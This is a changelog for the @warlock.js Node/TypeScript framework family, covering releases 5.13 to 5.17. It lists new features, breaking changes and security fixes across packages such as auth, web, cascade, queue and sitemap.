    • SecurityThe CSRF Origin/Referer check authMiddleware("cookie:*") runs (assertCsrfOriginAllowed) now delegates its same-origin/auth.csrf.allowedOrigins comparison to @warlock.js/core's resolveCsrfOriginVerdict, shared with core's new default CSRF-Origin guard (card 8a752ab2, see @warlock.js/core's 5.17.0 changelog) so the two checks can never drift apart. Behaviour is unchanged for routes already using authMiddleware("cookie:*").
    @warlock.js/cascadeFixed 2
    • Fixedwhere(field, undefined) / where(field, operator, undefined) / where({ field: undefined }) (and the orWhere equivalents, on both the Postgres and MongoDB query builders) now throw UndefinedWhereValueError instead of silently reaching the driver. A bound undefined used to bind as = NULL (SQL) / "field missing" (MongoDB) — a comparison that never matches but never fails either, hiding call sites that forgot to guard a value that turned out to be missing (card 62e0e781: a blog author lookup ran User.find(post.authorId) with an undefined id under load). Pass null to match NULL explicitly; guard the call site to skip the query when there's no value.
    • FixedPostgres pool leaks (card ba1193b4): beginTransaction() now releases its client on every path, including when BEGIN, COMMIT or ROLLBACK throws. A failed COMMIT/ROLLBACK discards the client (release(error)) instead of recycling one left in an unknown transaction state, and transaction() no longer issues ROLLBACK after a failed COMMIT. The pool also gets an error listener (an idle client dropped by the server no longer crashes the process), keepAlive, and a 10s connect timeout.
    @warlock.js/sealAdded 2
    • AddedGranular @warlock.js/seal/object and @warlock.js/seal/string entry points with the object and string factories for schemas that do not need the complete v factory.
    • AddedredactValue option on v.validate(schema, data, options): when set, the :value placeholder renders that string instead of the submitted input, both in the attributes handed to translateRule and in author errorMessage templates. It does not cover a custom rule that concatenates raw input into its own message text. Unset keeps the current behaviour. Per-call options replace the global config, so pass { ...getSealConfig(), redactValue } to keep your translators.
    5.16.0
    September 18, 2026

    @warlock.js/sitemap is now framework-blind (BREAKING): the 5.15 connector API is removed in favour of the Sitemap builder (new Sitemap({ baseUrl }), toXML(), atomic saveTo() and publishTo()) and a new SitemapIndex that streams size-capped shards behind a master index and publishes the whole directory atomically. Warlock web apps get sitemap.xml and robots.txt from the new @warlock.js/web/sitemap subpath, configured under web.sitemap and web.robots in src/config/web.ts, with pages controlling their own listing through export const sitemap. BREAKING (@warlock.js/web): in production an unexpected page error no longer sends its message to the browser; throw PublicPageError for messages visitors should see. Web also adds a default client error boundary, loader signal that aborts on client disconnect, and pageCache.maxEntryBytes. @warlock.js/auth adds GitHub, Discord, LinkedIn, Apple (form_post), Facebook and X login providers, and @warlock.js/core now parses urlencoded request bodies and lets response.xml() send anything with a toXML() method.

    Full release notes or run npx warlock release-notes.

    @warlock.js/sitemapAdded 3Changed 3
    • AddedSitemapIndex: streams entries into size-capped shards plus a master index, and optionally writes .xml.gz files. It publishes the whole output directory atomically and marks it with .sitemap-set.json.
    • AddedSitemap.publishTo(outDir, fileName?), and saveTo() now writes atomically (temp file, then rename, with retries on Windows EPERM/EBUSY).
    • AddedUnownedOutputDirectoryError: publishing refuses to replace a non-empty directory that lacks the ownership marker.
    • ChangedBREAKING: the package no longer depends on any framework. The connector API is removed: sitemapConnector(), collectSitemapEntries(), the SitemapConfig config module, MissingPublicUrlError, NoPageRegistryError and RoutablePage. Use the Sitemap builder class instead (new Sitemap({ baseUrl }), add / addMany / declareRoute, toXML / saveTo). Warlock apps configure web.sitemap in @warlock.js/web instead.
    • ChangedbaseUrl is validated in the constructor (InvalidBaseUrlError). Entries are keyed by path, and duplicates() reports every collision.
    • ChangedDropped the @warlock.js/core and @warlock.js/web dependencies.
    @warlock.js/webAdded 6Changed 1Fixed 6
    • Added@warlock.js/web/sitemap: sitemap.xml and robots.txt for web apps. Configure them under web.sitemap and web.robots in src/config/web.ts. Pages control their own listing with export const sitemap (false, static options, or a function that supplies URLs for dynamic routes). Locales expand into hreflang alternates, and web switches to a sharded SitemapIndex above 50,000 URLs. The sitemap is generated at runtime boot (web.sitemap.regenerate.onBoot) or when the app calls regenerateSitemap() — never at warlock build and never while serving a request. See 5.17.0.
    • AddedWeb now wraps every page in a default client error boundary. A rejected defer() value with no app boundary renders the app's error page, or a built-in fallback, instead of unmounting the tree. The boundary resets on every navigation, refresh and locale change.
    • AddedPublicPageError: throw it, or reject a deferred value with it, when its message is meant for visitors. In production, only a PublicPageError message reaches the browser.
    • AddedLoaders receive signal, an AbortSignal that fires when the client disconnects.
    • AddedDevelopment only: during client navigation, web checks that a page's translations were registered by register() before anything renders.
    • AddedpageCache.maxEntryBytes (default 1 MiB): a cache miss larger than this is still served in full but is not cached.
    • ChangedBREAKING (production error disclosure): in production, an unexpected page error no longer sends its message to the browser. The browser gets a generic message plus an errorCode that matches the server's error report, and stack is never sent. Throw PublicPageError for messages visitors should see.
    • FixedA client disconnect now aborts SSR, NDJSON navigation streams and loader work, and stream errors no longer escape as uncaught exceptions. A refresh or locale change aborts the fetches it supersedes.
    • FixedDeferred values are scoped per navigation, so late chunks from an abandoned navigation can no longer settle the active page. Finished scopes are released from memory.
    • FixedSSR and client navigation now fall back the same way for missing metadata fields.
    • FixedThe dev client page registry keeps a custom appSrcRoot.
    • FixedIn development, page discovery for unmatched requests is cached until a page file changes.
    • FixedProduction hashed assets (/assets/*.js, .css, …) are now served precompressed instead of raw: warlock build writes .br/.gz siblings for eligible text assets ≥1KB, and warlock start negotiates Accept-Encoding (brotli, then gzip, then identity) via @fastify/static's preCompressed option, with Vary: Accept-Encoding on every response.
    @warlock.js/authAdded 2Fixed 2
    • AddedSix new login providers: GitHub, Discord, LinkedIn, Apple, Facebook and X, configured under auth.providers.<name> and used through startProviderLogin / completeProviderLogin. Apple and LinkedIn verify their id_token with jose. The other four use plain OAuth 2.
    • AddedAuthProvider.callbackMode ("query" | "form_post"). Apple uses form_post, so its state cookie is written with SameSite=None; Secure (HTTPS required). Query-mode providers keep SameSite=Lax.
    • FixedProvider names now resolve only from auth.providers' own keys, so a name inherited from the object prototype, such as toString, is never treated as a provider.
    • FixedThe Set-Cookie that clears the provider state cookie now repeats the attributes the cookie was written with.
    @warlock.js/coreAdded 2Changed 1
    • AddedCore now parses application/x-www-form-urlencoded request bodies, so plain HTML forms and OAuth form_post callbacks (Apple) reach their routes instead of failing with FST_ERR_CTP_INVALID_MEDIA_TYPE. These bodies have the same http.bodyLimit as JSON. A key sent more than once becomes an array.
    • Addedresponse.xml() accepts a raw string or any value with a toXML(): string method (such as a @warlock.js/sitemap Sitemap), and sends application/xml.
    • Changedwarlock add sitemap now merges a disabled sitemap section into src/config/web.ts, and creates that file when it is missing. It no longer writes src/config/sitemap.ts or registers sitemapConnector(). The merge edits only a sitemap key directly on the exported config object, and the result is re-parsed before it is written.
    @warlock.js/fsFixed 1
    • FixedSkill code samples are now self-contained and type-check as written.
    @warlock.js/queueFixed 1
    • FixedThe failed-jobs dashboard skill sample now includes the connection config and the authMiddleware import.
    5.15.0
    September 18, 2026

    New package: @warlock.js/sitemap — the thirtieth family member, and the first added since the family settled. Runtime sitemap.xml generation from the page registry, installed with warlock add sitemap, with zero runtime dependencies. It is usable three ways: standalone in any Node app, in an API-only Warlock app through sitemapConnector({ entries }), and in a Warlock web app from the page registry. A dynamic route that cannot be enumerated is omitted and named in a development diagnostic rather than silently dropped, and an enabled sitemap with no configured origin refuses to boot instead of serving absolute URLs built from a guessed host. Two silent failures are fixed in @warlock.js/web and @warlock.js/core: useTrans() returned the raw key after hydration — server HTML was correct, the post-hydration DOM was not, and the translated value never reached dist/client at all — so the hydration payload gains a seventh required key, translations, carrying only the active locale; and request.cookie() now throws CookieJarUnavailableError when @fastify/cookie is absent instead of returning undefined, which was indistinguishable from "no such cookie" and surfaced as a permanent unexplained 401. @warlock.js/core adds app.publicUrl with a PUBLIC_APP_URL fallback. BREAKING: @warlock.js/queue/notifications is removed (deprecated in 5.14 — use bullmqQueue() from @warlock.js/notifications), and listRoutablePages moved to the @warlock.js/web/build subpath. @warlock.js/cache finally declares a test script, so its 525 tests run in the release gate for the first time. Generator matrix ran subset scope (baseline, web, sitemap, queue, bull-board rows) against the staged candidate, authorised by Hasan on 2026-09-18: "You could run the matrix if you feel it is important to this release".

    Full release notes or run npx warlock release-notes.

    @warlock.js/sitemapAdded 4
    • AddedNew package: runtime sitemap.xml generation. Walks the page registry at runtime, applies the framework's exclusion rules (not-found route, error page, metadata.robots: noindex, sitemap: false), collects the entries a page's sitemap export returns, and reports — in development — any dynamic route left with no sitemap export so it is never silently dropped from the generated XML.
    • AddedZero runtime dependencies, in the same spirit as @warlock.js/fs: XML serialization is string-building plus escaping, and needs no library.
    • AddedUsable in three ways: standalone in any Node app (collectSitemapEntries + buildSitemapXml, no Warlock at all), in an API-only Warlock app via sitemapConnector({ entries }), and in a Warlock web app from the page registry. @warlock.js/core and @warlock.js/web are optional peers — everything except sitemapConnector() imports nothing from either, and the connector reaches them only through a lazy import().
    • AddedsitemapConnector({ entries }) merges app-supplied entries with page-derived ones, deduplicated by path with the app-supplied entry winning. With neither source available the connector refuses to boot (NoPageRegistryError) instead of serving an empty <urlset> that looks correct.
    @warlock.js/coreAdded 2Changed 1
    • Addedwarlock add sitemap installs @warlock.js/sitemap, writes src/config/sitemap.ts, and registers sitemapConnector() in warlock.config.ts. The generated config ships disabled: a sitemap needs the application public origin and a generated app cannot know it, so the block explains the two steps to turn it on rather than producing an app that refuses to boot.
    • Addedapp.publicUrl config key, with a PUBLIC_APP_URL environment fallback: the one absolute-URL source for every consumer that needs an origin. It never falls back to a request-derived host — an absolute URL built from the wrong host is worse than a boot that refuses to start, because nothing downstream reports it.
    • ChangedBREAKING (fail-loud): request.cookie(name) and request.hasCookie(name) now throw CookieJarUnavailableError when @fastify/cookie is not registered on the Fastify instance, instead of returning undefined / false. An unregistered plugin is a configuration fault, and it was previously indistinguishable from "the caller sent no such cookie" — under authMiddleware([], "cookie:token") it surfaced as a permanent, unexplained 401. Apps built on createHttpApplication are unaffected: core registers the plugin before anything mounts. The exposure is a host that mounts a guarded surface on its own Fastify instance. request.cookies stays lenient and still returns {}, so the framework's own opportunistic reads — locale resolution among them — are unchanged.
    @warlock.js/webChanged 2Fixed 1
    • ChangedBREAKING: listRoutablePages is exported from @warlock.js/web/build, not the root barrel. It reaches the filesystem-walking page discovery, and on the root barrel that module joined the import graph of every page importing @warlock.js/web — a generated app answered 500 on every route in dev. A boundary spec now fails if the root barrel reaches src/build/**.
    • ChangedThe hydration payload carries a seventh required key, translations, holding only the active locale's entries — never every locale.
    • FixeduseTrans() no longer silently returns the raw key after hydration. The active locale's translations now ride in the hydration payload and register on the client before hydrateRoot, so a translated string survives hydration instead of being reconciled away. Server-rendered HTML was always correct, which is what made this invisible.
    create-warlockAdded 2
    • AddedThe feature picker offers Sitemap — runtime sitemap.xml generation from the page registry.
    • AddedThe feature picker offers Bull Board, the queue dashboard. warlock add bull-board shipped in 5.14 but the scaffolder never offered it, so a new app could not select it at creation time.
    @warlock.js/cacheFixed 1
    • FixedThis package declares a test script, so its 23 spec files and 525 tests actually run in the release gate. They existed and passed, but with no script to invoke them the gate reported SKIPPED (no "test" script) on every release and nothing here was ever checked before publishing.
    @warlock.js/notificationsRemoved 1
    • RemovedThe integration spec covering the deprecated @warlock.js/queue/notifications dispatcher, which was removed from @warlock.js/queue in this release. bullmqQueue() is the supported path and keeps its own coverage.
    @warlock.js/queueFixed 1
    • FixedThe dashboard guard now ends the request explicitly when a middleware short-circuits, instead of leaving it to Fastify noticing the reply was already sent. The adapter has always returned a "handled" boolean for this; the hook discarded it, so whether an unauthenticated caller reached the dashboard depended on write ordering — a guard answering asynchronously could lose that race.
    5.14.0
    September 17, 2026

    @warlock.js/web renames the hydration mount from #root to #vessel (BREAKING) — #root collided with embeds and third-party widgets — and hardens the client-build secret scan to refuse EVERY reference to the global process, aliases included (BREAKING for typeof process feature detection). Dev SSR now externalises every installed @warlock.js/* package by rule instead of a hand-maintained list, closing the dual-module-instance class that split framework singletons. A cached page sends one Vary value on both its HTML and data representations. @warlock.js/queue gains a config-driven bull-board dashboard (warlock add bull-board) that refuses to mount unguarded in production, and find(id) no longer returns a finished job with a null result. @warlock.js/notifications takes over the BullMQ integration as bullmqQueue(), a lazy optional-peer driver; @warlock.js/queue/notifications is deprecated for one release. @warlock.js/core adds middleware.cache({ tags }) so invalidateTags() clears cached API responses, verifies the esbuild native binary before warlock dev starts, and fixes a devServer.timings watcher phase that always reported 0ms. Generator matrix ran subset scope (baseline, web, queue, bull-board, auth-google, auth-passkeys rows) against the staged candidate, authorised by Hasan on 2026-09-17: "Go ahead plz".

    Full release notes or run npx warlock release-notes.

    @warlock.js/webChanged 2Fixed 3Security 1
    • ChangedBREAKING: the hydration mount is <div id="vessel"> (was #root), which no longer collides with embeds and widgets. Update custom root.tsx files and any #root CSS or tests; hydration errors name the rename when #root is found.
    • ChangedDev SSR externalises every installed @warlock.js/* package (derived, not a hand list), so no family package can load twice and split its state.
    • FixedA local variable or parameter named process in client code is no longer falsely refused.
    • FixedCached pages send one Vary value on both HTML and data responses: HTML now varies on x-warlock-data, and deferred pages keep Vary: User-Agent.
    • FixedThe typed translation-key guard now actually runs as part of typecheck.
    • SecurityBREAKING: the client-build secret scan refuses every reference to the global process, including aliased forms (const p = globalThis.process, const { env } = process, window.process). Use import.meta.env instead of typeof process checks.
    @warlock.js/queueAdded 3Fixed 2Deprecated 1
    • Addeddashboard: { enabled, path, middleware } in src/config/queue.ts: the queue connector mounts Bull Board at boot, guarded by the given middleware.
    • AddedQueueDashboardUnguardedError: in production the dashboard refuses to mount without guard middleware, since it can retry and delete jobs.
    • AddedqueueDashboard() accepts a middleware option.
    • FixedThe connector registers the queue config when it mounts the dashboard at boot, so an app whose only queue usage is the dashboard no longer fails to start with QueueNotConfiguredError.
    • Fixedfind(id) no longer returns a completed job with result: null and attemptsMade: 0 when the job finishes mid-read.
    • Deprecated@warlock.js/queue/notifications (queueNotificationDispatcher): use bullmqQueue() from @warlock.js/notifications. It still works in 5.14, warns once, and is removed in the next release.
    @warlock.js/notificationsAdded 1
    • AddedbullmqQueue({ queue, attempts, backoff }): a BullMQ-backed .queue() driver that lazy-loads @warlock.js/queue (optional peer); a missing package throws QueuePackageNotInstalledError naming warlock add queue.
    @warlock.js/coreAdded 2Fixed 3
    • Addedwarlock add bull-board installs the Bull Board packages and writes a dashboard block to src/config/queue.ts; it adds the queue feature first when it is missing. The generated block enables the dashboard outside production only, since an unguarded dashboard refuses to mount in production.
    • Addedmiddleware.cache({ tags }): cached API responses can be tagged and are evicted by cache.tags([...]).invalidate(), like cached pages.
    • Fixedwarlock dev checks esbuild's native binary before starting and fails with EsbuildBinaryMissingError naming the fix (warlock build already did).
    • FixeddevServer.timings: the watcher phase always reported 0ms on Windows and Linux; it now measures the real settle time.
    • Fixedwarlock add writes connector arrays formatted like Prettier ([queueConnector(), webConnector()]), including empty and multi-line arrays.
    create-warlockChanged 1
    • ChangedBREAKING: the web starter's src/web/root.tsx renders the hydration mount as <div id="vessel"> (was #root).
    5.13.0
    September 17, 2026

    @warlock.js/queue ships as a new package (durable BullMQ + Redis background jobs, defineJob, queueConnector(), a bull-board dashboard and a notifications dispatcher). @warlock.js/auth adds email verification, password reset, and login with Google, passkeys and phone OTP, with account linking via a new provider_accounts table. @warlock.js/access makes ABAC strictPolicies deny-by-default (BREAKING) to close a fail-open IDOR path. @warlock.js/web fixes a Host-header cache-poisoning gap in the server page cache key (BREAKING) and a stale-Suspense-fallback replay on cache HIT, and adds linkStylesheetsFor for lazily-imported per-tenant themes. @warlock.js/core adds warlock add queue/warlock add auth-google/warlock add auth-passkeys installers and typed translation-key generation, and drops its dependency on @warlock.js/auth. Generator matrix ran subset scope (baseline, web, queue, access, auth-google, auth-passkeys rows) against the staged candidate, authorised by Hasan on 2026-09-16: "You've my approval for whatever decision you may need to take in this release."

    Full release notes or run npx warlock release-notes.

    @warlock.js/queueAdded 8Fixed 1
    • AddedNew package: durable background jobs on BullMQ + Redis. Redis is required.
    • AddeddefineJob({ name, queue, attempts, backoff, removeOnComplete, removeOnFail, handle(payload, ctx) }) returns a typed job with dispatch(payload, { delay, priority, jobId, attempts, backoff }) and find(id).
    • AddedJob context: id, name, queue, attempt, maxAttempts, progress(value), log(line).
    • AddedfailedJobs({ queue, start, end }) and retryFailedJob(id, { queue }).
    • AddedqueueConnector() for warlock.config.ts > connectors: reads the queue config key, starts workers in the app process (turn off with workers.enabled: false), and on shutdown waits for active jobs up to workers.shutdownTimeout before closing.
    • AddedsetQueueConfig, startWorkers, closeQueue for scripts, tests and worker-only processes.
    • Added@warlock.js/queue/notifications: queueNotificationDispatcher() sends @warlock.js/notifications .queue() deliveries through BullMQ, with retries and delay support.
    • AddedqueueDashboard(server, { basePath }): mounts bull-board on Warlock's Fastify server. @bull-board/api and @bull-board/fastify are optional peers, loaded only when it is called; a missing one throws QueueDashboardDependencyError.
    • FixedPortable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.
    @warlock.js/authAdded 12Fixed 1Security 1
    • AddedEmail verification and password reset. sendEmailVerification(user), verifyEmail(token), requestPasswordReset(Model, email) and resetPassword(token, newPassword). Tokens are 32 random bytes, stored only as a SHA-256 hash, single-use (consumed with a conditional update, so of two concurrent uses exactly one succeeds), expiring (auth.verification.expiresIn default "24h", auth.passwordReset.expiresIn default "60m") and purpose-bound. A new reset request invalidates the user's earlier unused reset tokens. requestPasswordReset answers the same for unknown emails. resetPassword revokes every access token, refresh token and cookie session through authService.revokeAllTokens. Rejected tokens throw InvalidOneTimeTokenError (400, EC008).
    • AddedNew one_time_tokens table (OneTimeToken model, overridable via auth.oneTimeToken.model), shipped in authMigrations. Run your migrations.
    • AddedDelivery goes through @warlock.js/notifications, now an optional peer dependency. Default mail notifications can be replaced via auth.verification.notification / auth.passwordReset.notification, and link builders set via .url. If the package is not installed or not configured, calls throw NotificationsUnavailableError before any token is issued.
    • AddedrequireVerifiedEmail() middleware — rejects users without auth.verification.field (default emailVerifiedAt) with EmailNotVerifiedError (403, EC007). isEmailVerified(user) helper.
    • AddedtokenIssueThrottleMiddleware() (every request counts, per email + IP, 3/1h) and tokenConsumeThrottleMiddleware() (failures, per IP, 10/15m), both built on loginThrottleMiddleware.
    • AddedAuthErrorCodes.EmailNotVerified ("EC007") and AuthErrorCodes.InvalidOneTimeToken ("EC008").
    • AddedLogin with Google, passkeys and phone codes (skill login-with-providers). Every method ends in the new authService.completeLogin(user, deviceInfo?), which applies auth.canAuthenticate and then issues exactly what authService.login issues (same tokens, rows and login.success event). login now shares that ending. - Google: startProviderLogin(response, "google") / completeProviderLogin(Model, "google", request, response). Uses the OIDC authorization code flow with PKCE (S256), state and nonce, kept in a signed 10-minute HttpOnly cookie. The code is exchanged with fetch, and the id_token is verified with jose against Google's JWKS (signature, iss, aud, exp, nonce). Configure it under auth.providers.google. Other providers implement the AuthProvider contract and register under auth.providers.custom. - Account linking: new provider_accounts table (ProviderAccount). A link always decides the user. Without one, only a provider-verified email links an existing user or creates a new one; an unverified email throws ProviderEmailNotVerifiedError (403, EC010). Callback rejections throw InvalidProviderCallbackError (400, EC009). - Passkeys: generatePasskeyRegistrationOptions / verifyPasskeyRegistration / generatePasskeyAuthenticationOptions / verifyPasskeyAuthentication, built on @simplewebauthn/server. Challenges are stored hashed in one_time_tokens, expire, and are used once (consumed even when verification fails). The request Origin must be in auth.passkeys.origin, and a signature counter that does not advance is rejected. Credentials are stored in the new passkey_credentials table (PasskeyCredential). Rejections throw InvalidPasskeyError (400, EC011). - Phone OTP: requestOtp(Model, phone, { channel }) / verifyOtp(Model, phone, code). Codes have 6 digits, are stored as a salted HMAC in one_time_tokens (purpose otp), expire after 5 minutes, and are invalidated after 5 attempts (counted atomically). Unknown phones get the same answer. Codes are delivered through the @warlock.js/notifications channel you configure (auth.otp.channel, default "sms") or auth.otp.send; auth ships no SMS/WhatsApp driver. New otpRequestThrottleMiddleware() / otpVerifyThrottleMiddleware() presets are built on loginThrottleMiddleware. - jose and @simplewebauthn/server are new optional peer dependencies, loaded lazily. When one is missing, the call throws AuthProviderSdkMissingError, whose message names warlock add auth-google / warlock add auth-passkeys.
    • Addedone_time_tokens gains an attempts column, and user_id becomes nullable (passkey login challenges have no user yet). authMigrations now includes ProviderAccountMigration and PasskeyCredentialMigration. Run your migrations.
    • Addedauth.cleanup / authService.cleanupExpiredTokens() also hard-deletes expired and consumed one_time_tokens rows via the new OneTimeToken.purgeSpent(). The delete is permanent on every driver, so MongoDB's default "trash" strategy does not copy token hashes into one_time_tokensTrash.
    • AddedLocal real-database integration suites (tests/integration/local, skipped unless LOCAL_MONGO_* / LOCAL_PG_* are set) prove on MongoDB and Postgres: a one-time token consumed 20 times concurrently succeeds once, 20 concurrent wrong OTP guesses count at most 5 attempts and invalidate the code, a passkey login challenge with no user persists and is consumed, the counter compare-and-set and regression rejection hold, and provider_accounts allows one link per identity.
    • AddedPasskey specs now also run the real @simplewebauthn/server against a node:crypto software authenticator (none attestation, ES256 assertions).
    • AddedAuthErrorCodes.InvalidProviderCallback ("EC009"), AuthErrorCodes.ProviderEmailNotVerified ("EC010") and AuthErrorCodes.InvalidPasskey ("EC011").
    • FixedverifyPasskeyAuthentication reported a cloned authenticator as reason: "authentication-verification-failed", because @simplewebauthn/server rejects a non-advancing counter itself before auth's own check runs. It now reports "counter-regression". The response (400, EC011) is unchanged.
    • SecurityAccess and refresh tokens (and one-time tokens, and passkey credentials) are no longer copied into MongoDB trash collections on delete. AccessToken, RefreshToken, OneTimeToken and PasskeyCredential now declare static deleteStrategy = "permanent", overriding the MongoDB driver's default "trash" strategy. Previously, AccessToken.purgeExpired(), RefreshToken.purgeExpired()/purgeNeverExpiring(), and authMiddleware's expired-token cleanup all called destroy() without a strategy override, so on MongoDB every purge or invalidation copied the live JWT into access_tokensTrash / refresh_tokensTrash before deleting the original — leaving usable credential material behind after "revocation". OneTimeToken.purgeSpent() already forced "permanent" per-call (5.13.0 above); that override is now redundant and has been removed in favor of the model-level default. Apps that have been running on MongoDB may want to drop the access_tokensTrash, refresh_tokensTrash and one_time_tokensTrash collections, which may hold copies of now-revoked credentials.
    @warlock.js/accessFixed 2
    • FixedRestored the portable typecheck script and compile access as ESM so workspace source imports using import.meta are valid.
    • FixedAn unpoliced instance-level check was fail-open (allowed via the RBAC grant alone) unless strictPolicies was explicitly enabled, which could silently reach a resource-scoped IDOR for a forgotten definePolicy call. It now fails CLOSED by default; strictPolicies: false still restores the old fallback and warns once per permission naming the missing policy and the config key.
    @warlock.js/webAdded 3Fixed 6
    • AddedlinkStylesheetsFor(request, sourceFile): middleware or a loader declares a lazily imported module (e.g. a per-tenant theme from a static import() map), and the module's CSS is added to that response's render-blocking <head> links. Dev resolves it through the module graph, production through the Vite manifest. Before this, a lazy theme painted unstyled until client JS loaded its CSS. An unknown id throws UnknownStylesheetSourceError and a malformed id throws InvalidStylesheetSourceError. See the new multi-theme skill.
    • Addedroute.cache.varyBy?: (request) => string adds a request-derived component to the server page cache key, and a function-form route.cache.tags now receives { shared } as its second argument, e.g. for tagging entries by theme.
    • AddeduseTrans() now accepts generated, literal translation keys. warlock dev augments web's TranslationKeyRegistry from registered groupedTranslations dictionaries; before generation it safely accepts string.
    • FixedBREAKING: The server page cache key now includes the request Host. Before, two hosts (tenants) serving the same URL shared one entry, so tenant B could be served tenant A's document and shared payload. This also closed a Host-header cache-poisoning path.
    • FixedThe server page cache now stores the streamed document the MISS visitor received, not the synchronous renderToString pass. That pass rendered a not-yet-resolved React.lazy boundary as its Suspense fallback, so every later HIT replayed the fallback.
    • Fixedwarlock dev: a serverCache: true page no longer answers 500 CacheDriverNotInitializedError. An app resolveAlias entry for a framework package made Vite ignore ssr.external and load a second, never-booted copy. Dev SSR now always imports @warlock.js/core, cache, logger, context and cascade from the instance the app booted, as production does, and drops app aliases that would re-inline an SSR-external package.
    • FixedA page request that fails outside the page pipeline (a cache failure, a module that fails to load) is now logged to stderr as [warlock:web] page request <METHOD> <path> failed: <error>. Before, the error reached only the app's error.page.tsx and the server log stayed empty.
    • FixedpeerDependencies.react and react-dom tightened from "*" to ^19.0.0 — web is only built and tested against React 19 (see devDependencies), so the peer range now says so instead of accepting any major.
    • FixedProjection no longer refuses a type-only import (import type {} from "./x", import type { X } from "./x", import { type X } from "./x") as an attribution-ambiguous statement. A type-only import is erased at build and carries no runtime binding, so it can never reach the client — it was wrongly falling into the "bare side-effect import" refusal. A mixed import (import { type A, B } from "./x") still has its value specifier checked exactly as before.
    @warlock.js/coreAdded 3Changed 1Fixed 2
    • Addedwarlock add queue installs @warlock.js/queue, generates Redis-backed src/config/queue.ts, and registers queueConnector() in warlock.config.ts.
    • Addedwarlock add auth-google and warlock add auth-passkeys install @warlock.js/auth's Google sign-in (jose) and passkey (@simplewebauthn/server) login methods.
    • Addedwarlock dev generates .warlock/typings/translations.d.ts from literal groupedTranslations dictionaries, augmenting web's typed translation-key registry.
    • Changedwarlock dev now uses a 12ms quiet window for isolated file saves while extending multi-file bursts up to a 60ms maximum, reducing routine HMR latency without splitting formatter or checkout reloads.
    • FixedSafely return no alias resolution when a configured alias has no first target.
    • Fixed@warlock.js/core no longer imports @warlock.js/auth; useHashedPassword now calls core's own hashPassword directly instead of an auth-service delegate that only called back into core, and @warlock.js/auth moves to a dev-only dependency. A guard spec now fails the build if any core/src module imports @warlock.js/auth.
    @warlock.js/cascadeAdded 8Changed 3Fixed 5
    • AddedModel.atomic, Model.findOneAndUpdate and Model.findAndUpdate take options: upsert, arrayFilters (MongoDB), and on findOneAndUpdate returnDocument: "before" | "after" (default stays "after"). A counter or quota can now be filter + $inc/$setOnInsert + upsert, returning the new document, in one call.
    • AddedUpdate operators $setOnInsert and $addToSet, and pipeline (array-form) updates such as [{ $set: { score: { $add: ["$likes", "$shares"] } } }] (MongoDB).
    • AddedtrustedFilter: true lets a code-authored conditional filter ({ used: { $lt: 10 } }) through the operator-injection check on these statics. Filters are still checked by default.
    • AddedPostgres upsert runs as INSERT … ON CONFLICT … DO UPDATE … RETURNING *. The conflict target is the primary key or a unique index whose columns are all equality keys of the filter.
    • AddedUnsupportedUpdateOperationError (operation, driver): what a driver throws when it cannot run part of an update.
    • Added.lean() on the query builder: get / first / paginate / chunk return plain objects typed as the model schema (LeanDocument<T>), with no Model hydration, no driver casting and no fetched event. static hidden fields are still removed. With with() / joinWith() it throws UnsupportedLeanOperationError. About 1.9x faster than a hydrated read for 10k MongoDB documents.
    • Added.unwind(field, { preserveNullAndEmptyArrays?, includeArrayIndex? }) and .addFields(fields) on the query builder (MongoDB). Both run in call order, so a where() after unwind() filters the elements. join({ table, alias, pipeline }) now sends a pipeline $lookup.
    • AddedUnsupportedQueryOperationError (operation, driver): the Postgres builder throws it for unwind() and addFields(), so these stages are never dropped without an error.
    • ChangedBREAKING: The Postgres driver now throws UnsupportedUpdateOperationError for $push / $pull / $addToSet, pipeline updates, arrayFilters and unknown operators. It used to ignore $push / $pull without saying so.
    • ChangedModel.atomic returns modified + upserted count.
    • ChangedPostgres findOneAndUpdate picks its row with SELECT … LIMIT 1 FOR UPDATE, matches it by primary key and checks the filter again, so concurrent callers never go past a conditional filter.
    • Fixed$dec on the MongoDB driver was sent to the server as-is and rejected ("Unknown modifier"). It is now converted to a negative $inc.
    • FixedThe MongoDB pipeline parser dropped $vectorSearch and $addFields stages, so similarTo() ran with no vector search and no score. It now emits both.
    • FixedOn MongoDB, a join() with a pipeline sent a $lookup with no pipeline and no join fields.
    • FixedOn MongoDB, joinRaw() and raw() were silently dropped from the pipeline. joinRaw(stage | stages) now emits the stages verbatim in call order; raw(pipeline => …) receives the pipeline built so far and may return a replacement. A SQL string, a non-stage object or a non-array callback result throws UnsupportedQueryOperationError.
    • FixedOn MongoDB, select([...]).orderBy(field) did not sort when field was not selected, because $project ran before $sort (hydrated, lean, first() and paginate() reads). The sort now runs before the projection; sorting by a computed selectRaw alias still works, also mixed with unselected fields.
    create-warlockAdded 1Fixed 3
    • AddedThe optional-feature selector now offers Google sign-in, passkey sign-in, and durable Redis-backed BullMQ queues.
    • FixedA --db=postgres scaffold shipped src/config/database.ts with an empty clientOptions: {}. Cascade's PostgresPoolConfig extends PostgresConnectionConfig, whose database field is required (not optional, unlike Mongo's MongoClientOptions), so {} failed tsc --noEmit on that exact line before a single line of app code ran. templates/warlock/src/config/database.postgres.ts now sets database inside clientOptions too. Verified against a real npm create warlock@5.12.0 --stack=web --db=postgres --jwt scaffold installed from the registry: this was the only tsc error once devDependencies installed correctly (see below), and it is gone after the fix. Guarded by a new static check in specs/template-integrity.spec.ts.
    • FixedInvestigated a separate report that a --stack=web --db=postgres --jwt scaffold lacked @warlock.js/web and @types/react/@types/react-dom. Not reproducible against the published 5.12.0 template: package.json lists all three correctly, and a clean install (npm ci with NODE_ENV unset) installs them. The only way to reproduce the missing @types/* packages was installing with NODE_ENV=production set, which makes npm skip devDependencies entirely — an environment condition on the installing machine, not a scaffold defect. No template change made for this report.
    • FixedThe scaffolded User model's verified scope queried a boolean emailVerified column that has never existed in the template's schema or migration. @warlock.js/auth's email verification (added in 5.13.0) stamps emailVerifiedAt (a nullable Date) instead, treating "verified" as the field holding a value. templates/warlock/src/app/users/models/user/user.model.ts now declares emailVerifiedAt: v.date().optional() on the schema and scopes verified via query.whereNotNull("emailVerifiedAt"); the user migration adds the matching nullable timestamp() column. Guarded by new checks in specs/template-integrity.spec.ts.
    @warlock.js/aiAdded 2Fixed 1
    • AddedScoped UTC day/month budget ledgers through budget({ scoped }), with an in-memory store and a lazy optional-peer cache store. Shared limits atomically reject overages with ScopedBudgetExceededError carrying the ledger key, window, limit, and attempted usage. Cache-backed deployment-wide enforcement requires a cache driver whose update primitive is cross-node atomic; Cascade storage awaits its atomic upsert API.
